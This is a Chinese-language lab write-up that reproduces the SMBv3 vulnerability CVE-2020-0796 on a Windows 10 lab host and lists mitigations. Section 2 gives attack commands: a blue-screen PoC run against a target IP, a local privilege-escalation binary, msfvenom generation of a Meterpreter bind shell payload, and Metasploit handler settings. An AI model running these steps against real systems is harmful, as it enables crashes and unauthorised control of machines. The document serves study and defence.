CVE-2020-0796漏洞复现及防御机制

1. 漏洞背景

1.1 漏洞描述

CVE-2020-0796漏洞又称SMBv3服务远程代码执行漏洞,攻击者可能利用此漏洞远程操作无需用户验证,通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制,利用端口仍是445。

1.2 漏洞原理

在微软SMBv3远程代码执行漏洞中,SMB 3.1.1协议处理压缩消息时,对其中的数据没有经过安全检查,直接使用可能引发内存破坏漏洞,从而被攻击者利用远程执行任意代码。攻击者通过发送特殊构造的数据包触发漏洞,无需用户验证就可能控制目标系统,同时影响服务器与客户端系统。

该漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,利用的端口是445。当SMBv3.0处理恶意制作的压缩数据包时,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压,并没有检查长度是否合法,最终导致整数溢出。远程未经认证的供给者就可能利用此漏洞在应用程序的上下文中执行任意代码,系统受到非授权控制。

根据安全研究人员分析,该漏洞是一个整数溢出,发生在SMB服务驱动srv2.sys的Srv2DecompressData()函数中。

详细请看:

https://nosec.org/home/detail/4420.html

https://blog.csdn.net/weixin_44058342/article/details/105275847

https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

https://www.cnblogs.com/goabout2/p/12609810.html

1.3 影响范围

漏洞主要影响Windows 10版本(1903和1909),包括32位、64位的家用版、专业版、企业版、教育版。

1.4 影响方式

微软SMBv3(Server Message Block 3.0)服务远程代码执行漏洞(CVE-2020-0796)可被攻击者利用,实现无须权限即可执行远程代码,受攻击的目标系统只需开机在线即可能被入侵。该漏洞后果十分接近永恒之蓝系列,存在被WannaCry等勒索蠕虫利用的可能,攻击者可以构造特定的网页、压缩包、共享目录、Office文档等多种方式触发漏洞进行攻击,对存在该漏洞的Windows主机造成严重威胁。

1.5 漏洞评级

1
CVE-2020-0796: 高危

2. 漏洞复现

2.1 环境配置

攻击机:Kali Linux x64(IP地址:192.168.193.128)

靶机:Windows 10 Version 1903 x64 教育版(IP地址:192.168.193.142 / 192.168.193.143)

利用工具:

2.2 复现准备

检查靶机中的445端口是否已经打开。

1
netstat -an

如果没有打开,在Windows 防火墙中添加入站规则,开启端口445。

开启文件共享,否则Kali用nmap扫描时不会探测到靶机开启了445端口。

2.3 复现过程

2.3.1 本地提权

使用奇安信检测CVE-2020-0796漏洞工具,它适用于局域网批量检测,快速查找未打补丁的主机。

使用本地EXP提权,下载下来是VS的一个工程文件,需要利用VS编译生成EXE文件。

查看当前用户,是普通用户,运行cve-2020-0796-local.exe后弹出另一个cmd窗口,在那个cmd窗口下的用户已经变成管理员了。

2.3.2 蓝屏攻击

使用Linux平台CVE-2020-0796漏洞检测工具检查靶机是否存在该漏洞:

1
bash CVE-2020-0796-Checker.sh -t 192.168.193.143

确认存在该漏洞后,使用POC蓝屏攻击脚本进行攻击:

1
python3 CVE-2020-0796.py 192.168.193.143

靶机成功蓝屏:

2.3.3 远程登录

RCE(remote command/code excute),远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

利用MSF生成Payload:

1
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o smb.py

将Payload里的buf变量更名为USER_PAYLOAD,再将RCE poc中的exploit.py中的USER_PAYLOAD的值更换成Payload中的值。

exploit.py增加执行权限,执行文件:

1
2
chmod +x exploit.py
python3 exploit.py -ip 192.168.193.143

利用MSF开启监听:

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.193.143
set lport 1234
show options #查看还有没有参数没有设置的
run

结果运行到这里一直卡住:

不知道什么问题,运行了很多次仍然卡在这。

实现远程登录后再通过本地提权,可以拿到靶机的管理员权限。

3. 防御方法

  • 安装补丁。

  • 根据BleepComputer的说法,尽管微软并未共享禁用SMBv3压缩的官方方法,但是Foregenix Solutions架构师Niall Newman在分析了Srv2.sys文件后可以通过手动修改注册表,防止被黑客远程攻击。

    • 在注册表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

    • 或在管理员模式启动PowerShell,输入以下命令,执行即可。

      1
      Set-ItemProperty -Path "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
  • 若无业务需要,在网络安全域边界防火墙封堵文件打印和共享端口TCP 135/139/445以缓解此问题。

  • 可以通过安全厂商的漏洞检验和修复工具来检查是否存在漏洞和进行漏洞修复。